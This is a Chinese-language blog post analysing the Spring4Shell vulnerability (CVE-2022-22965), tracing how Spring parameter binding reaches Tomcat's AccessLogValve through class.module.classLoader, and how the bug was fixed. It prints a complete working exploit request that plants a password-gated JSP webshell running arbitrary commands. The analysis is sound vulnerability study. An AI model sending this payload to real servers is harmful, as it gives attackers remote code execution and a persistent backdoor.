spring4shell CVE-2022-22965 漏洞分析与流程图解
0X01 前言
最近重新回顾漏洞,发现挺多都忘了,且暴露了一个问题,较少站在研发角度去考虑漏洞本身。
比如spring4shell,只记得是classloader。
所以感觉分析时,本身需求、实现方式设计、疏漏点与漏洞成因、自己猜想的修复方式会更重要些;更能体系化起来。
所以回头把spring4shell重看一遍
庆幸的是,因曾做产品与研发,对于需求与用户的关系(用户为什么要这个需求)理解的比较容易,需求的实现方式设计起来也大差不差。
0X02 漏洞描述
spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader这样的参数可以穿越修改AccessLogvlave的属性。
漏洞通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
0X03 漏洞本意分析
漏洞原本需求:
设置参数绑定功能,通过请求的参数改变对象的属性,包括对象中的对象的属性
实现方式:
获取当前的类,根据设置的属性,比如a.b.c.d=e,查找当前类的geta().getb.getc.getd,调用set(e)
设计疏漏点:
需求没问题,实现方式也没问题,但是很容易想到是否可以跳出当前类、去设置其他属性。如果存在某个属性可以设置到当前类之外的其他对象的属性,那么可能造成漏洞。我们要寻找的就是这样一种跳出当前类的方法
0X04 漏洞成因分析
漏洞成因:
参数绑定classloader导致后续属性赋值造成RCE
payload
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
漏洞payload分析:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
1 class获取当前类
2 module,获取当前module。
什么是module?
https://blog.csdn.net/vincent_wen0766/article/details/114416461
Java 平台模块系统,也就是 Project Jigsaw,把模块化开发实践引入到了 Java 平台中。在引入了模块系统之后,JDK 被重新组织成 94 个模块。Java 应用可以通过新增的 jlink 工具,创建出只包含所依赖的 JDK 模块的自定义运行时镜像。这样可以极大的减少 Java 运行时环境的大小。这对于目前流行的不可变基础设施的实践来说,镜像的大小的减少可以节省很多存储空间和带宽资源
3 classLoader
classLoader类加载器,模块的类加载器为tomcat的ParallelWebappClassLoader,转而可设置tomcat的属性
4 后面的resources.context.parent.pipeline.first.pattern则是tomcat本身日志相关的的属性
漏洞修复:
按常理,当前属性get的时候,禁止到module即可。
而tomcat也做了修复,把getResource给去掉了,虽然本身不是tomcat问题
0X05 图解
转载标注:https://www.cnblogs.com/huim/p/17188542.html
参考链接
module平台模块系统是什么:https://blog.csdn.net/vincent_wen0766/article/details/114416461
classloader:https://blog.csdn.net/Taobaojishu/article/details/113874686
漏洞分析:https://javamana.com/2022/227/202208150248568326.html
漏洞分析:https://www.anquanke.com/post/id/272149
漏洞分析:https://forum.butian.net/share/1474
漏洞分析:https://zhuanlan.zhihu.com/p/498778896
idea tomcat映射问题:https://blog.csdn.net/god_zzZ/article/details/124029497
spring event事件概念: https://baijiahao.baidu.com/s?id=1617119527751442850&wfr=spider&for=pc
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!